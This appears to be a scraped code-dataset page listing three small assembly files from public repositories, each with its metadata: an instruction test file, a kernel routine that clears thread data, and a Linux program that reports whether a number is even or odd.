34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 34.283105 | 2,999 | 0.657565 |
5174f00123e713a24c4720729c4660231896338d | 187 | asm | Assembly | tests/t19.asm | mras0/sasm | 342f57570e79b2aa1c42a9064aaea4d198577be2 | [
"MIT"
] | 26 | 2019-08-13T19:54:42.000Z | 2022-03-11T16:58:31.000Z | tests/t19.asm | mras0/sasm | 342f57570e79b2aa1c42a9064aaea4d198577be2 | [
"MIT"
] | null | null | null | tests/t19.asm | mras0/sasm | 342f57570e79b2aa1c42a9064aaea4d198577be2 | [
"MIT"
] | 2 | 2019-08-20T10:23:56.000Z | 2020-09-24T20:08:00.000Z | retf
iret
hlt
cli
sti
cld
std
rol al, cl
shl ax, cl
shr byte [42], cl
rcl word [42], cl
| 15.583333 | 26 | 0.315508 |
302480afd2e694c7c561537e2edebb0950482cd7 | 192 | asm | Assembly | src/kernel/asm/process/thread.asm | Krzem5/Assembly-64Bit_Uefi_Kernel | d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb | [
"BSD-3-Clause"
] | 4 | 2021-03-06T12:01:16.000Z | 2021-04-19T12:35:26.000Z | src/kernel/asm/process/thread.asm | Krzem5/Assembly-64Bit_Uefi_Kernel | d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb | [
"BSD-3-Clause"
] | null | null | null | src/kernel/asm/process/thread.asm | Krzem5/Assembly-64Bit_Uefi_Kernel | d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb | [
"BSD-3-Clause"
] | null | null | null | bits 64
global asm_clear_thread_data
asm_clear_thread_data:
push rdi
xor rax, rax
mov rdi, rcx
mov rcx, (__C_THREAD_DATA_STRUCT_SIZE__ / __C_SIZEOF_UINT64_T__)
rep stosq
pop rdi
ret
| 13.714286 | 65 | 0.791667 |
3888a867951679ac8015122d401bb1c318c3c403 | 1,104 | asm | Assembly | picovm/asm-src/logical-instructions.asm | seanmcelroy/picovm | fd75ad2b9b11e537211f4bfafa16b7fb924f48fe | [
"MIT"
] | null | null | null | picovm/asm-src/logical-instructions.asm | seanmcelroy/picovm | fd75ad2b9b11e537211f4bfafa16b7fb924f48fe | [
"MIT"
] | null | null | null | picovm/asm-src/logical-instructions.asm | seanmcelroy/picovm | fd75ad2b9b11e537211f4bfafa16b7fb924f48fe | [
"MIT"
] | null | null | null | section .text
global _start ; must be declared for using gcc
_start: ; tell linker entry point
mov ax, 8h ; getting 8 in the ax (EVEN)
and ax, 1 ; and ax with 1
jz evnn
mov eax, 4 ; system call number (sys_write)
mov ebx, 1 ; file descriptor (stdout)
mov ecx, odd_msg ; message to write
mov edx, len2 ; length of message
int 0x80 ; call kernel
jmp outprog
evnn:
mov ah, 09h
mov eax, 4 ; system call number (sys_write)
mov ebx, 1 ; file descriptor (stdout)
mov ecx, even_msg ; message to write
mov edx, len1 ; length of message
int 0x80 ; call kernel
outprog:
mov eax,1 ; system call number (sys_exit)
int 0x80 ; call kernel
section .data
even_msg db 'Even Number!' ; message showing even number
len1 equ $ - even_msg
odd_msg db 'Odd Number!' ; message showing odd number
len2 equ $ - odd_msg | 32.470588 | 61 | 0.526268 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.